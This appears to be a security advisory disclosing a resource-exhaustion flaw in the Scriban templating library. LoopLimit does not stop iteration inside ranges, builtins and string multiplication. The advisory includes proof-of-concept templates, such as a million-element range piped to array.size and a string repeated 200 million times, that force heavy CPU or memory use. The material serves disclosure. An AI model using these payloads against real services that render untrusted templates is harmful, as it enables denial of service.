Scriban's LoopLimit only applies to script loop statements, not to expensive iteration performed inside operators and builtins. An attacker can submit a single expression such as {{ 1..1000000 | array.size }} and force large amounts of CPU work even when LoopLimit is set to a very small value.
The relevant code path is:
ScriptBlockStatement.Evaluate() calls context.CheckAbort() once per statement in src/Scriban/Syntax/Statements/ScriptBlockStatement.cs lines 41–46.LoopLimit enforcement is tied to script loop execution via TemplateContext.StepLoop(), not to internal helper iteration.array.size in src/Scriban/Functions/ArrayFunctions.cs lines 596–609 calls list.Cast<object>().Count() for non-collection enumerables.1..N creates a ScriptRange from ScriptBinaryExpression.RangeInclude() in src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs lines 745–748.ScriptRange then yields every element one by one without going through StepLoop() in src/Scriban/Runtime/ScriptRange.cs.This means a single statement can perform arbitrarily large iteration without being stopped by LoopLimit.
There is also a related memory-amplification path in string * int:
ScriptBinaryExpression.CalculateToString() appends in a plain for loop in src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs lines 301–334.mkdir scriban-poc3
cd scriban-poc3
dotnet new console --framework net8.0
dotnet add package Scriban --version 6.6.0
Program.csusing Scriban;
var template = Template.Parse("{{ 1..1000000 | array.size }}");
var context = new TemplateContext
{
LoopLimit = 1
};
Console.WriteLine(template.Render(context));
dotnet run
1000000
A safety limit of LoopLimit = 1 should prevent a template from performing one million iterations worth of work.
using Scriban;
var template = Template.Parse("{{ 'A' * 200000000 }}");
var context = new TemplateContext
{
LoopLimit = 1
};
template.Render(context);
This variant demonstrates that LoopLimit also does not constrain large internal allocation work.
This is an uncontrolled resource consumption issue. Any application that accepts attacker-controlled templates and relies on LoopLimit as part of its safe-runtime configuration can still be forced into heavy CPU or memory work by a single expression.
The issue impacts:
{
"cwe_ids": [
"CWE-400"
],
"severity": "HIGH",
"github_reviewed": true,
"nvd_published_at": null,
"github_reviewed_at": "2026-03-24T22:13:08Z"
}